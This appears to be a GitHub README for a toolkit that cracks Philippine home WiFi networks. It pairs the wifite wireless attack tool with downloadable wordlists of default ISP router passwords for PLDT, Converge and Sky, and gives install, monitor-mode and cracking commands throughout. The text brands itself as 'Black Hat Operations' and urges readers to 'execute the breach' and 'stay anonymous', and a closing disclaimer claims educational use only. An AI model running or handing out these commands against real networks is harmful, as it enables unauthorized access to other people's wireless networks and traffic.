🇵🇭 Philippine Default Password Wordlists 📶

Visualize Penetration. Automate Access.

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Scanning... Targeting... Exploiting...

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⚫️ Overview: Black Hat Operations

This toolkit integrates the powerful wifite automated wireless auditor with a curated wordlist specifically targeting default router passwords commonly found in the Philippines (jcrvnx/PH-WIFI-WORDLISTS). It's designed for Kali Linux but adaptable to any Linux distribution with the right hardware and dependencies.

We provide the framework; you execute the breach. This README includes setup instructions, usage patterns, and essential documentation for leveraging these tools effectively.

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✨ Features

• 🎯 Targeted Attack: Utilizes a massive wordlist focused on PH ISP default credentials.
• ⚙️ Automated Auditing: Leverages wifite for scanning, target selection, and attack execution (WPS, WPA/WPA2 Handshake Capture & Cracking).
• 🐧 Broad Linux Compatibility: Optimized for Kali Linux, but functional on Ubuntu, Debian, Arch, and other distros (dependencies required).

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🛠️ Setup & Installation (Kali Linux Focus)

Mandatory on any Linux Distro:

1. Update & Upgrade System: Keep your attack platform sharp.

   sudo apt update && sudo apt upgrade -y
   # Or use your distro's package manager (e.g., pacman, dnf)

2. Install Dependencies: wifite is essential.

   sudo apt install wifite -y
   # Ensure aircrack-ng suite, hashcat/john are also installed (usually come with Kali/wifite)

3. Wireless Adapter Check: Your WiFi card MUST support Monitor Mode and Packet Injection. Verify using:

   sudo airmon-ng check kill # Kill interfering processes
   sudo airmon-ng start <your-wireless-interface> # e.g., wlan0
   # Look for "(monitor mode enabled)"
   # If issues arise, consult Kali documentation for driver installation.

4. Download the WIFI wordlists: Each of these wordlists contains 10 million possible passwords.

   https://www.mediafire.com/folder/8lq8574eud1r1/PH_WIFI_WORDLISTS
   

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🚀 Execution: Running Wifite with PH Wordlists

1. Navigate (Optional): You don't need to be in the wordlist directory to run wifite, but know the full path to the wordlist file you want to use.

2. Launch Wifite with the Dictionary:

   • Identify the specific wordlist file you want to use within the cloned PH-WIFI-WORDLISTS directory (e.g., /home/orhen/Downloads/pldt.txt, Passwords/converge.txt, etc.).
   • Run wifite with sudo (required for network operations) and point it to your chosen dictionary using the --dict flag.

   # Example using the PLDT common password list:
   # Replace '/path/to/PH-WIFI-WORDLISTS/' with the actual path where you cloned the repo.
   sudo wifite --dict /path/to/PH-WIFI-WORDLISTS/Passwords/PLDT-WIFI-PASSWORDS.txt
   
   # Example using a different list:
   # sudo wifite --dict /path/to/PH-WIFI-WORDLISTS/Passwords/SKY-WIFI-PASSWORDS.txt
   
   # To try ALL wordlists in sequence (less efficient, wifite might not support multiple dicts easily this way, better to run separately or combine lists):
   # Consider combining relevant lists into one large file first if needed.
   # cat /path/to/PH-WIFI-WORDLISTS/Passwords/*.txt > /path/to/combined_ph_list.txt
   # sudo wifite --dict /path/to/combined_ph_list.txt

3. Follow Wifite Prompts:

   • wifite will scan for networks.
   • Press Ctrl+C when you see your target(s).
   • Select the target network number(s).
   • wifite will attempt various attacks (WPS PIN, WPA Handshake Capture).
   • If a WPA handshake is captured, wifite will automatically use the specified dictionary (--dict) to attempt cracking the password.

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🌐 Navigation & Documentation Sections

• Overview
• Features
• Setup & Installation
• Execution Guide
• Disclaimer

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⚠️ Legal & Ethical Warning ⚠️

OPERATION SECURITY NOTICE:

• Unauthorized Access is ILLEGAL: Using this tool and wordlist against networks you do NOT own or have explicit written permission to test is a CRIMINAL OFFENSE in the Philippines (RA 10175 Cybercrime Prevention Act) and most other jurisdictions.
• Educational Purposes ONLY: This toolkit is provided strictly for educational learning and for auditing your OWN network security or networks where you have obtained explicit consent.
• NO RESPONSIBILITY: The creators and contributors of this guide, wifite, and the PH-WIFI-WORDLISTS repository are NOT RESPONSIBLE for any illegal activities, misuse, or damage caused by these tools.
• USE AT YOUR OWN EXTREME RISK: You are solely responsible for your actions. Understand the laws and ethical implications before proceeding. Think before you type.

Crack Wisely. Hack Wisely. Stay Anonymous.